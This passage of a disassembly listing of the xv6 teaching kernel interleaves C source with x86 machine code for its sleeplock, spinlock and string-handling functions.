b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi sleep(lk, &lk->lk); 801048e8: 83 ec 08 sub $0x8,%esp 801048eb: 56 push %esi 801048ec: 53 push %ebx 801048ed: e8 5e fa ff ff call 80104350 <sleep> while (lk->locked) { 801048f2: 8b 03 mov (%ebx),%eax 801048f4: 83 c4 10 add $0x10,%esp 801048f7: 85 c0 test %eax,%eax 801048f9: 75 ed jne 801048e8 <acquiresleep+0x28> } lk->locked = 1; 801048fb: c7 03 01 00 00 00 movl $0x1,(%ebx) lk->pid = myproc()->pid; 80104901: e8 8a f0 ff ff call 80103990 <myproc> 80104906: 8b 40 10 mov 0x10(%eax),%eax 80104909: 89 43 3c mov %eax,0x3c(%ebx) release(&lk->lk); 8010490c: 89 75 08 mov %esi,0x8(%ebp) } 8010490f: 8d 65 f8 lea -0x8(%ebp),%esp 80104912: 5b pop %ebx 80104913: 5e pop %esi 80104914: 5d pop %ebp release(&lk->lk); 80104915: e9 e6 02 00 00 jmp 80104c00 <release> 8010491a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104920 <releasesleep>: void releasesleep(struct sleeplock *lk) { 80104920: f3 0f 1e fb endbr32 80104924: 55 push %ebp 80104925: 89 e5 mov %esp,%ebp 80104927: 56 push %esi 80104928: 53 push %ebx 80104929: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 8010492c: 8d 73 04 lea 0x4(%ebx),%esi 8010492f: 83 ec 0c sub $0xc,%esp 80104932: 56 push %esi 80104933: e8 08 02 00 00 call 80104b40 <acquire> lk->locked = 0; 80104938: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; 8010493e: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) wakeup(lk); 80104945: 89 1c 24 mov %ebx,(%esp) 80104948: e8 03 fd ff ff call 80104650 <wakeup> release(&lk->lk); 8010494d: 89 75 08 mov %esi,0x8(%ebp) 80104950: 83 c4 10 add $0x10,%esp } 80104953: 8d 65 f8 lea -0x8(%ebp),%esp 80104956: 5b pop %ebx 80104957: 5e pop %esi 80104958: 5d pop %ebp release(&lk->lk); 80104959: e9 a2 02 00 00 jmp 80104c00 <release> 8010495e: 66 90 xchg %ax,%ax 80104960 <holdingsleep>: int holdingsleep(struct sleeplock *lk) { 80104960: f3 0f 1e fb endbr32 80104964: 55 push %ebp 80104965: 89 e5 mov %esp,%ebp 80104967: 57 push %edi 80104968: 31 ff xor %edi,%edi 8010496a: 56 push %esi 8010496b: 53 push %ebx 8010496c: 83 ec 18 sub $0x18,%esp 8010496f: 8b 5d 08 mov 0x8(%ebp),%ebx int r; acquire(&lk->lk); 80104972: 8d 73 04 lea 0x4(%ebx),%esi 80104975: 56 push %esi 80104976: e8 c5 01 00 00 call 80104b40 <acquire> r = lk->locked && (lk->pid == myproc()->pid); 8010497b: 8b 03 mov (%ebx),%eax 8010497d: 83 c4 10 add $0x10,%esp 80104980: 85 c0 test %eax,%eax 80104982: 75 1c jne 801049a0 <holdingsleep+0x40> release(&lk->lk); 80104984: 83 ec 0c sub $0xc,%esp 80104987: 56 push %esi 80104988: e8 73 02 00 00 call 80104c00 <release> return r; } 8010498d: 8d 65 f4 lea -0xc(%ebp),%esp 80104990: 89 f8 mov %edi,%eax 80104992: 5b pop %ebx 80104993: 5e pop %esi 80104994: 5f pop %edi 80104995: 5d pop %ebp 80104996: c3 ret 80104997: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010499e: 66 90 xchg %ax,%ax r = lk->locked && (lk->pid == myproc()->pid); 801049a0: 8b 5b 3c mov 0x3c(%ebx),%ebx 801049a3: e8 e8 ef ff ff call 80103990 <myproc> 801049a8: 39 58 10 cmp %ebx,0x10(%eax) 801049ab: 0f 94 c0 sete %al 801049ae: 0f b6 c0 movzbl %al,%eax 801049b1: 89 c7 mov %eax,%edi 801049b3: eb cf jmp 80104984 <holdingsleep+0x24> 801049b5: 66 90 xchg %ax,%ax 801049b7: 66 90 xchg %ax,%ax 801049b9: 66 90 xchg %ax,%ax 801049bb: 66 90 xchg %ax,%ax 801049bd: 66 90 xchg %ax,%ax 801049bf: 90 nop 801049c0 <initlock>: #include "proc.h" #include "spinlock.h" void initlock(struct spinlock *lk, char *name) { 801049c0: f3 0f 1e fb endbr32 801049c4: 55 push %ebp 801049c5: 89 e5 mov %esp,%ebp 801049c7: 8b 45 08 mov 0x8(%ebp),%eax lk->name = name; 801049ca: 8b 55 0c mov 0xc(%ebp),%edx lk->locked = 0; 801049cd: c7 00 00 00 00 00 movl $0x0,(%eax) lk->name = name; 801049d3: 89 50 04 mov %edx,0x4(%eax) lk->cpu = 0; 801049d6: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 801049dd: 5d pop %ebp 801049de: c3 ret 801049df: 90 nop 801049e0 <getcallerpcs>: } // Record the current call stack in pcs[] by following the %ebp chain. void getcallerpcs(void *v, uint pcs[]) { 801049e0: f3 0f 1e fb endbr32 801049e4: 55 push %ebp uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 801049e5: 31 d2 xor %edx,%edx { 801049e7: 89 e5 mov %esp,%ebp 801049e9: 53 push %ebx ebp = (uint*)v - 2; 801049ea: 8b 45 08 mov 0x8(%ebp),%eax { 801049ed: 8b 4d 0c mov 0xc(%ebp),%ecx ebp = (uint*)v - 2; 801049f0: 83 e8 08 sub $0x8,%eax for(i = 0; i < 10; i++){ 801049f3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801049f7: 90 nop if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 801049f8: 8d 98 00 00 00 80 lea -0x80000000(%eax),%ebx 801049fe: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx 80104a04: 77 1a ja 80104a20 <getcallerpcs+0x40> break; pcs[i] = ebp[1]; // saved %eip 80104a06: 8b 58 04 mov 0x4(%eax),%ebx 80104a09: 89 1c 91 mov %ebx,(%ecx,%edx,4) for(i = 0; i < 10; i++){ 80104a0c: 83 c2 01 add $0x1,%edx ebp = (uint*)ebp[0]; // saved %ebp 80104a0f: 8b 00 mov (%eax),%eax for(i = 0; i < 10; i++){ 80104a11: 83 fa 0a cmp $0xa,%edx 80104a14: 75 e2 jne 801049f8 <getcallerpcs+0x18> } for(; i < 10; i++) pcs[i] = 0; } 80104a16: 5b pop %ebx 80104a17: 5d pop %ebp 80104a18: c3 ret 80104a19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(; i < 10; i++) 80104a20: 8d 04 91 lea (%ecx,%edx,4),%eax 80104a23: 8d 51 28 lea 0x28(%ecx),%edx 80104a26: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104a2d: 8d 76 00 lea 0x0(%esi),%esi pcs[i] = 0; 80104a30: c7 00 00 00 00 00 movl $0x0,(%eax) for(; i < 10; i++) 80104a36: 83 c0 04 add $0x4,%eax 80104a39: 39 d0 cmp %edx,%eax 80104a3b: 75 f3 jne 80104a30 <getcallerpcs+0x50> } 80104a3d: 5b pop %ebx 80104a3e: 5d pop %ebp 80104a3f: c3 ret 80104a40 <pushcli>: // it takes two popcli to undo two pushcli. Also, if interrupts // are off, then pushcli, popcli leaves them off. void pushcli(void) { 80104a40: f3 0f 1e fb endbr32 80104a44: 55 push %ebp 80104a45: 89 e5 mov %esp,%ebp 80104a47: 53 push %ebx 80104a48: 83 ec 04 sub $0x4,%esp 80104a4b: 9c pushf 80104a4c: 5b pop %ebx asm volatile("cli"); 80104a4d: fa cli int eflags; eflags = readeflags(); cli(); if(mycpu()->ncli == 0) 80104a4e: e8 ad ee ff ff call 80103900 <mycpu> 80104a53: 8b 80 a4 00 00 00 mov 0xa4(%eax),%eax 80104a59: 85 c0 test %eax,%eax 80104a5b: 74 13 je 80104a70 <pushcli+0x30> mycpu()->intena = eflags & FL_IF; mycpu()->ncli += 1; 80104a5d: e8 9e ee ff ff call 80103900 <mycpu> 80104a62: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax) } 80104a69: 83 c4 04 add $0x4,%esp 80104a6c: 5b pop %ebx 80104a6d: 5d pop %ebp 80104a6e: c3 ret 80104a6f: 90 nop mycpu()->intena = eflags & FL_IF; 80104a70: e8 8b ee ff ff call 80103900 <mycpu> 80104a75: 81 e3 00 02 00 00 and $0x200,%ebx 80104a7b: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax) 80104a81: eb da jmp 80104a5d <pushcli+0x1d> 80104a83: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104a8a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104a90 <popcli>: void popcli(void) { 80104a90: f3 0f 1e fb endbr32 80104a94: 55 push %ebp 80104a95: 89 e5 mov %esp,%ebp 80104a97: 83 ec 08 sub $0x8,%esp asm volatile("pushfl; popl %0" : "=r" (eflags)); 80104a9a: 9c pushf 80104a9b: 58 pop %eax if(readeflags()&FL_IF) 80104a9c: f6 c4 02 test $0x2,%ah 80104a9f: 75 31 jne 80104ad2 <popcli+0x42> panic("popcli - interruptible"); if(--mycpu()->ncli < 0) 80104aa1: e8 5a ee ff ff call 80103900 <mycpu> 80104aa6: 83 a8 a4 00 00 00 01 subl $0x1,0xa4(%eax) 80104aad: 78 30 js 80104adf <popcli+0x4f> panic("popcli"); if(mycpu()->ncli == 0 && mycpu()->intena) 80104aaf: e8 4c ee ff ff call 80103900 <mycpu> 80104ab4: 8b 90 a4 00 00 00 mov 0xa4(%eax),%edx 80104aba: 85 d2 test %edx,%edx 80104abc: 74 02 je 80104ac0 <popcli+0x30> sti(); } 80104abe: c9 leave 80104abf: c3 ret if(mycpu()->ncli == 0 && mycpu()->intena) 80104ac0: e8 3b ee ff ff call 80103900 <mycpu> 80104ac5: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax 80104acb: 85 c0 test %eax,%eax 80104acd: 74 ef je 80104abe <popcli+0x2e> asm volatile("sti"); 80104acf: fb sti } 80104ad0: c9 leave 80104ad1: c3 ret panic("popcli - interruptible"); 80104ad2: 83 ec 0c sub $0xc,%esp 80104ad5: 68 5f 7f 10 80 push $0x80107f5f 80104ada: e8 b1 b8 ff ff call 80100390 <panic> panic("popcli"); 80104adf: 83 ec 0c sub $0xc,%esp 80104ae2: 68 76 7f 10 80 push $0x80107f76 80104ae7: e8 a4 b8 ff ff call 80100390 <panic> 80104aec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104af0 <holding>: { 80104af0: f3 0f 1e fb endbr32 80104af4: 55 push %ebp 80104af5: 89 e5 mov %esp,%ebp 80104af7: 56 push %esi 80104af8: 53 push %ebx 80104af9: 8b 75 08 mov 0x8(%ebp),%esi 80104afc: 31 db xor %ebx,%ebx pushcli(); 80104afe: e8 3d ff ff ff call 80104a40 <pushcli> r = lock->locked && lock->cpu == mycpu(); 80104b03: 8b 06 mov (%esi),%eax 80104b05: 85 c0 test %eax,%eax 80104b07: 75 0f jne 80104b18 <holding+0x28> popcli(); 80104b09: e8 82 ff ff ff call 80104a90 <popcli> } 80104b0e: 89 d8 mov %ebx,%eax 80104b10: 5b pop %ebx 80104b11: 5e pop %esi 80104b12: 5d pop %ebp 80104b13: c3 ret 80104b14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi r = lock->locked && lock->cpu == mycpu(); 80104b18: 8b 5e 08 mov 0x8(%esi),%ebx 80104b1b: e8 e0 ed ff ff call 80103900 <mycpu> 80104b20: 39 c3 cmp %eax,%ebx 80104b22: 0f 94 c3 sete %bl popcli(); 80104b25: e8 66 ff ff ff call 80104a90 <popcli> r = lock->locked && lock->cpu == mycpu(); 80104b2a: 0f b6 db movzbl %bl,%ebx } 80104b2d: 89 d8 mov %ebx,%eax 80104b2f: 5b pop %ebx 80104b30: 5e pop %esi 80104b31: 5d pop %ebp 80104b32: c3 ret 80104b33: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104b3a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104b40 <acquire>: { 80104b40: f3 0f 1e fb endbr32 80104b44: 55 push %ebp 80104b45: 89 e5 mov %esp,%ebp 80104b47: 56 push %esi 80104b48: 53 push %ebx pushcli(); // disable interrupts to avoid deadlock. 80104b49: e8 f2 fe ff ff call 80104a40 <pushcli> if(holding(lk)) 80104b4e: 8b 5d 08 mov 0x8(%ebp),%ebx 80104b51: 83 ec 0c sub $0xc,%esp 80104b54: 53 push %ebx 80104b55: e8 96 ff ff ff call 80104af0 <holding> 80104b5a: 83 c4 10 add $0x10,%esp 80104b5d: 85 c0 test %eax,%eax 80104b5f: 0f 85 7f 00 00 00 jne 80104be4 <acquire+0xa4> 80104b65: 89 c6 mov %eax,%esi asm volatile("lock; xchgl %0, %1" : 80104b67: ba 01 00 00 00 mov $0x1,%edx 80104b6c: eb 05 jmp 80104b73 <acquire+0x33> 80104b6e: 66 90 xchg %ax,%ax 80104b70: 8b 5d 08 mov 0x8(%ebp),%ebx 80104b73: 89 d0 mov %edx,%eax 80104b75: f0 87 03 lock xchg %eax,(%ebx) while(xchg(&lk->locked, 1) != 0) 80104b78: 85 c0 test %eax,%eax 80104b7a: 75 f4 jne 80104b70 <acquire+0x30> __sync_synchronize(); 80104b7c: f0 83 0c 24 00 lock orl $0x0,(%esp) lk->cpu = mycpu(); 80104b81: 8b 5d 08 mov 0x8(%ebp),%ebx 80104b84: e8 77 ed ff ff call 80103900 <mycpu> 80104b89: 89 43 08 mov %eax,0x8(%ebx) ebp = (uint*)v - 2; 80104b8c: 89 e8 mov %ebp,%eax 80104b8e: 66 90 xchg %ax,%ax if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 80104b90: 8d 90 00 00 00 80 lea -0x80000000(%eax),%edx 80104b96: 81 fa fe ff ff 7f cmp $0x7ffffffe,%edx 80104b9c: 77 22 ja 80104bc0 <acquire+0x80> pcs[i] = ebp[1]; // saved %eip 80104b9e: 8b 50 04 mov 0x4(%eax),%edx 80104ba1: 89 54 b3 0c mov %edx,0xc(%ebx,%esi,4) for(i = 0; i < 10; i++){ 80104ba5: 83 c6 01 add $0x1,%esi ebp = (uint*)ebp[0]; // saved %ebp 80104ba8: 8b 00 mov (%eax),%eax for(i = 0; i < 10; i++){ 80104baa: 83 fe 0a cmp $0xa,%esi 80104bad: 75 e1 jne 80104b90 <acquire+0x50> } 80104baf: 8d 65 f8 lea -0x8(%ebp),%esp 80104bb2: 5b pop %ebx 80104bb3: 5e pop %esi 80104bb4: 5d pop %ebp 80104bb5: c3 ret 80104bb6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104bbd: 8d 76 00 lea 0x0(%esi),%esi for(; i < 10; i++) 80104bc0: 8d 44 b3 0c lea 0xc(%ebx,%esi,4),%eax 80104bc4: 83 c3 34 add $0x34,%ebx 80104bc7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104bce: 66 90 xchg %ax,%ax pcs[i] = 0; 80104bd0: c7 00 00 00 00 00 movl $0x0,(%eax) for(; i < 10; i++) 80104bd6: 83 c0 04 add $0x4,%eax 80104bd9: 39 d8 cmp %ebx,%eax 80104bdb: 75 f3 jne 80104bd0 <acquire+0x90> } 80104bdd: 8d 65 f8 lea -0x8(%ebp),%esp 80104be0: 5b pop %ebx 80104be1: 5e pop %esi 80104be2: 5d pop %ebp 80104be3: c3 ret panic("acquire"); 80104be4: 83 ec 0c sub $0xc,%esp 80104be7: 68 7d 7f 10 80 push $0x80107f7d 80104bec: e8 9f b7 ff ff call 80100390 <panic> 80104bf1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104bf8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104bff: 90 nop 80104c00 <release>: { 80104c00: f3 0f 1e fb endbr32 80104c04: 55 push %ebp 80104c05: 89 e5 mov %esp,%ebp 80104c07: 53 push %ebx 80104c08: 83 ec 10 sub $0x10,%esp 80104c0b: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holding(lk)) 80104c0e: 53 push %ebx 80104c0f: e8 dc fe ff ff call 80104af0 <holding> 80104c14: 83 c4 10 add $0x10,%esp 80104c17: 85 c0 test %eax,%eax 80104c19: 74 22 je 80104c3d <release+0x3d> lk->pcs[0] = 0; 80104c1b: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) lk->cpu = 0; 80104c22: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) __sync_synchronize(); 80104c29: f0 83 0c 24 00 lock orl $0x0,(%esp) asm volatile("movl $0, %0" : "+m" (lk->locked) : ); 80104c2e: c7 03 00 00 00 00 movl $0x0,(%ebx) } 80104c34: 8b 5d fc mov -0x4(%ebp),%ebx 80104c37: c9 leave popcli(); 80104c38: e9 53 fe ff ff jmp 80104a90 <popcli> panic("release"); 80104c3d: 83 ec 0c sub $0xc,%esp 80104c40: 68 85 7f 10 80 push $0x80107f85 80104c45: e8 46 b7 ff ff call 80100390 <panic> 80104c4a: 66 90 xchg %ax,%ax 80104c4c: 66 90 xchg %ax,%ax 80104c4e: 66 90 xchg %ax,%ax 80104c50 <memset>: #include "types.h" #include "x86.h" void* memset(void *dst, int c, uint n) { 80104c50: f3 0f 1e fb endbr32 80104c54: 55 push %ebp 80104c55: 89 e5 mov %esp,%ebp 80104c57: 57 push %edi 80104c58: 8b 55 08 mov 0x8(%ebp),%edx 80104c5b: 8b 4d 10 mov 0x10(%ebp),%ecx 80104c5e: 53 push %ebx 80104c5f: 8b 45 0c mov 0xc(%ebp),%eax if ((int)dst%4 == 0 && n%4 == 0){ 80104c62: 89 d7 mov %edx,%edi 80104c64: 09 cf or %ecx,%edi 80104c66: 83 e7 03 and $0x3,%edi 80104c69: 75 25 jne 80104c90 <memset+0x40> c &= 0xFF; 80104c6b: 0f b6 f8 movzbl %al,%edi stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); 80104c6e: c1 e0 18 shl $0x18,%eax 80104c71: 89 fb mov %edi,%ebx 80104c73: c1 e9 02 shr $0x2,%ecx 80104c76: c1 e3 10 shl $0x10,%ebx 80104c79: 09 d8 or %ebx,%eax 80104c7b: 09 f8 or %edi,%eax 80104c7d: c1 e7 08 shl $0x8,%edi 80104c80: 09 f8 or %edi,%eax asm volatile("cld; rep stosl" : 80104c82: 89 d7 mov %edx,%edi 80104c84: fc cld 80104c85: f3 ab rep stos %eax,%es:(%edi) } else stosb(dst, c, n); return dst; } 80104c87: 5b pop %ebx 80104c88: 89 d0 mov %edx,%eax 80104c8a: 5f pop %edi 80104c8b: 5d pop %ebp 80104c8c: c3 ret 80104c8d: 8d 76 00 lea 0x0(%esi),%esi asm volatile("cld; rep stosb" : 80104c90: 89 d7 mov %edx,%edi 80104c92: fc cld 80104c93: f3 aa rep stos %al,%es:(%edi) 80104c95: 5b pop %ebx 80104c96: 89 d0 mov %edx,%eax 80104c98: 5f pop %edi 80104c99: 5d pop %ebp 80104c9a: c3 ret 80104c9b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104c9f: 90 nop 80104ca0 <memcmp>: int memcmp(const void *v1, const void *v2, uint n) { 80104ca0: f3 0f 1e fb endbr32 80104ca4: 55 push %ebp 80104ca5: 89 e5 mov %esp,%ebp 80104ca7: 56 push %esi 80104ca8: 8b 75 10 mov 0x10(%ebp),%esi 80104cab: 8b 55 08 mov 0x8(%ebp),%edx 80104cae: 53 push %ebx 80104caf: 8b 45 0c mov 0xc(%ebp),%eax const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 80104cb2: 85 f6 test %esi,%esi 80104cb4: 74 2a je 80104ce0 <memcmp+0x40> 80104cb6: 01 c6 add %eax,%esi 80104cb8: eb 10 jmp 80104cca <memcmp+0x2a> 80104cba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(*s1 != *s2) return *s1 - *s2; s1++, s2++; 80104cc0: 83 c0 01 add $0x1,%eax 80104cc3: 83 c2 01 add $0x1,%edx while(n-- > 0){ 80104cc6: 39 f0 cmp %esi,%eax 80104cc8: 74 16 je 80104ce0 <memcmp+0x40> if(*s1 != *s2) 80104cca: 0f b6 0a movzbl (%edx),%ecx 80104ccd: 0f b6 18 movzbl (%eax),%ebx 80104cd0: 38 d9 cmp %bl,%cl 80104cd2: 74 ec je 80104cc0 <memcmp+0x20> return *s1 - *s2; 80104cd4: 0f b6 c1 movzbl %cl,%eax 80104cd7: 29 d8 sub %ebx,%eax } return 0; } 80104cd9: 5b pop %ebx 80104cda: 5e pop %esi 80104cdb: 5d pop %ebp 80104cdc: c3 ret 80104cdd: 8d 76 00 lea 0x0(%esi),%esi 80104ce0: 5b pop %ebx return 0; 80104ce1: 31 c0 xor %eax,%eax } 80104ce3: 5e pop %esi 80104ce4: 5d pop %ebp 80104ce5: c3 ret 80104ce6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104ced: 8d 76 00 lea 0x0(%esi),%esi 80104cf0 <memmove>: void* memmove(void *dst, const void *src, uint n) { 80104cf0: f3 0f 1e fb endbr32 80104cf4: 55 push %ebp 80104cf5: 89 e5 mov %esp,%ebp 80104cf7: 57 push %edi 80104cf8: 8b 55 08 mov 0x8(%ebp),%edx 80104cfb: 8b 4d 10 mov 0x10(%ebp),%ecx 80104cfe: 56 push %esi 80104cff: 8b 75 0c mov 0xc(%ebp),%esi const char *s; char *d; s = src; d = dst; if(s < d && s + n > d){ 80104d02: 39 d6 cmp %edx,%esi 80104d04: 73 2a jae 80104d30 <memmove+0x40> 80104d06: 8d 3c 0e lea (%esi,%ecx,1),%edi 80104d09: 39 fa cmp %edi,%edx 80104d0b: 73 23 jae 80104d30 <memmove+0x40> 80104d0d: 8d 41 ff lea -0x1(%ecx),%eax s += n; d += n; while(n-- > 0) 80104d10: 85 c9 test %ecx,%ecx 80104d12: 74 13 je 80104d27 <memmove+0x37> 80104d14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *--d = *--s; 80104d18: 0f b6 0c 06 movzbl (%esi,%eax,1),%ecx 80104d1c: 88 0c 02 mov %cl,(%edx,%eax,1) while(n-- > 0) 80104d1f: 83 e8 01 sub $0x1,%eax 80104d22: 83 f8 ff cmp $0xffffffff,%eax 80104d25: 75 f1 jne 80104d18 <memmove+0x28> } else while(n-- > 0) *d++ = *s++; return dst; } 80104d27: 5e pop %esi 80104d28: 89 d0 mov %edx,%eax 80104d2a: 5f pop %edi 80104d2b: 5d pop %ebp 80104d2c: c3 ret 80104d2d: 8d 76 00 lea 0x0(%esi),%esi while(n-- > 0) 80104d30: 8d 04 0e lea (%esi,%ecx,1),%eax 80104d33: 89 d7 mov %edx,%edi 80104d35: 85 c9 test %ecx,%ecx 80104d37: 74 ee je 80104d27 <memmove+0x37> 80104d39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi *d++ = *s++; 80104d40: a4 movsb %ds:(%esi),%es:(%edi) while(n-- > 0) 80104d41: 39 f0 cmp %esi,%eax 80104d43: 75 fb jne 80104d40 <memmove+0x50> } 80104d45: 5e pop %esi 80104d46: 89 d0 mov %edx,%eax 80104d48: 5f pop %edi 80104d49: 5d pop %ebp 80104d4a: c3 ret 80104d4b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104d4f: 90 nop 80104d50 <memcpy>: // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { 80104d50: f3 0f 1e fb endbr32 return memmove(dst, src, n); 80104d54: eb 9a jmp 80104cf0 <memmove> 80104d56: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104d5d: 8d 76 00 lea 0x0(%esi),%esi 80104d60 <strncmp>: } int strncmp(const char *p, const char *q, uint n) { 80104d60: f3 0f 1e fb endbr32 80104d64: 55 push %ebp 80104d65: 89 e5 mov %esp,%ebp 80104d67: 56 push %esi 80104d68: 8b 75 10 mov 0x10(%ebp),%esi 80104d6b: 8b 4d 08 mov 0x8(%ebp),%ecx 80104d6e: 53 push %ebx 80104d6f: 8b 45 0c mov 0xc(%ebp),%eax while(n > 0 && *p && *p == *q) 80104d72: 85 f6 test %esi,%esi 80104d74: 74 32 je 80104da8 <strncmp+0x48> 80104d76: 01 c6 add %eax,%esi 80104d78: eb 14 jmp 80104d8e <strncmp+0x2e> 80104d7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104d80: 38 da cmp %bl,%dl 80104d82: 75 14 jne 80104d98 <strncmp+0x38> n--, p++, q++; 80104d84: 83 c0 01 add $0x1,%eax 80104d87: 83 c1 01 add $0x1,%ecx while(n > 0 && *p && *p == *q) 80104d8a: 39 f0 cmp %esi,%eax 80104d8c: 74 1a je 80104da8 <strncmp+0x48> 80104d8e: 0f b6 11 movzbl (%ecx),%edx 80104d91: 0f b6 18 movzbl (%eax),%ebx 80104d94: 84 d2 test %dl,%dl 80104d96: 75 e8 jne 80104d80 <strncmp+0x20> if(n == 0) return 0; return (uchar)*p - (uchar)*q; 80104d98: 0f b6 c2 movzbl %dl,%eax 80104d9b: 29 d8 sub %ebx,%eax } 80104d9d: 5b pop %ebx 80104d9e: 5e pop %esi 80104d9f: 5d pop %ebp 80104da0: c3 ret 80104da1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104da8: 5b pop %ebx return 0; 80104da9: 31 c0 xor %eax,%eax } 80104dab: 5e pop %esi 80104dac: 5d pop %ebp 80104dad: c3 ret 80104dae: 66 90 xchg %ax,%ax 80104db0 <strncpy>: char* strncpy(char *s, const char *t, int n) { 80104db0: f3 0f 1e fb endbr32 80104db4: 55 push %ebp 80104db5: 89 e5 mov %esp,%ebp 80104db7: 57 push %edi 80104db8: 56 push %esi 80104db9: 8b 75 08 mov 0x8(%ebp),%esi 80104dbc: 53 push %ebx 80104dbd: 8b 45 10 mov 0x10(%ebp),%eax char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) 80104dc0: 89 f2 mov %esi,%edx 80104dc2: eb 1b jmp 80104ddf <strncpy+0x2f> 80104dc4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104dc8: 83 45 0c 01 addl $0x1,0xc(%ebp) 80104dcc: 8b 7d 0c mov 0xc(%ebp),%edi 80104dcf: 83 c2 01 add $0x1,%edx 80104dd2: 0f b6 7f ff movzbl -0x1(%edi),%edi 80104dd6: 89 f9 mov %edi,%ecx 80104dd8: 88 4a ff mov %cl,-0x1(%edx) 80104ddb: 84 c9 test %cl,%cl 80104ddd: 74 09 je 80104de8 <strncpy+0x38> 80104ddf: 89 c3 mov %eax,%ebx 80104de1: 83 e8 01 sub $0x1,%eax 80104de4: 85 db test %ebx,%ebx 80104de6: 7f e0 jg 80104dc8 <strncpy+0x18> ; while(n-- > 0) 80104de8: 89 d1 mov %edx,%ecx 80104dea: 85 c0 test %eax,%eax 80104dec: 7e 15 jle 80104e03 <strncpy+0x53> 80104dee: 66 90 xchg %ax,%ax *s++ = 0; 80104df0: 83 c1 01 add $0x1,%ecx 80104df3: c6 41 ff 00 movb $0x0,-0x1(%ecx) while(n-- > 0) 80104df7: 89 c8 mov %ecx,%eax 80104df9: f7 d0 not %eax 80104dfb: 01 d0 add %edx,%eax 80104dfd: 01 d8 add %ebx,%eax 80104dff: 85 c0 test %eax,%eax 80104e01: 7f ed jg 80104df0 <strncpy+0x40> return os; } 80104e03: 5b pop %ebx 80104e04: 89 f0 mov %esi,%eax 80104e06: 5e pop %esi 80104e07: 5f pop %edi 80104e08: 5d pop %ebp 80104e09: c3 ret 80104e0a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104e10 <safestrcpy>: // Like strncpy but guaranteed to NUL-terminate. char* safestrcpy(char *s, const char *t, int n) { 80104e10: f3 0f 1e fb endbr32 80104e14: 55 push %ebp 80104e15: 89 e5 mov %esp,%ebp 80104e17: 56 push %esi 80104e18: 8b 55 10 mov 0x10(%ebp),%edx 80104e1b: 8b 75 08 mov 0x8(%ebp),%esi 80104e1e: 53 push %ebx 80104e1f: 8b 45 0c mov 0xc(%ebp),%eax char *os; os = s; if(n <= 0) 80104e22: 85 d2 test %edx,%edx 80104e24: 7e 21 jle 80104e47 <safestrcpy+0x37> 80104e26: 8d 5c 10 ff lea -0x1(%eax,%edx,1),%ebx 80104e2a: 89 f2 mov %esi,%edx 80104e2c: eb 12 jmp 80104e40 <safestrcpy+0x30> 80104e2e: 66 90 xchg %ax,%ax return os; while(--n > 0 && (*s++ = *t++) != 0) 80104e30: 0f b6 08 movzbl (%eax),%ecx 80104e33: 83 c0 01 add $0x1,%eax 80104e36: 83 c2 01 add $0x1,%edx 80104e39: 88 4a ff mov %cl,-0x1(%edx) 80104e3c: 84 c9 test %cl,%cl 80104e3e: 74 04 je 80104e44 <safestrcpy+0x34> 80104e40: 39 d8 cmp %ebx,%eax 80104e42: 75 ec jne 80104e30 <safestrcpy+0x20> ; *s = 0; 80104e44: c6 02 00 movb $0x0,(%edx) return os; } 80104e47: 89 f0 mov %esi,%eax 80104e49: 5b pop %ebx 80104e4a: 5e pop %esi 80104e4b: 5d pop %ebp 80104e4c: c3 ret 80104e4d: 8d 76 00 lea 0x0(%esi),%esi 80104e50 <strlen>: int strlen(const char *s) { 80104e50: f3 0f 1e fb endbr32 80104e54: 55 push %ebp int n; for(n = 0; s[n]; n++) 80104e55: 31 c0 xor %eax,%eax { 80104e57: 89 e5 mov %esp,%ebp 80104e59: 8b 55 08 mov 0x8(%ebp),%edx for(n = 0; s[n]; n++) 80104e5c: 80 3a 00 cmpb $0x0,(%edx) 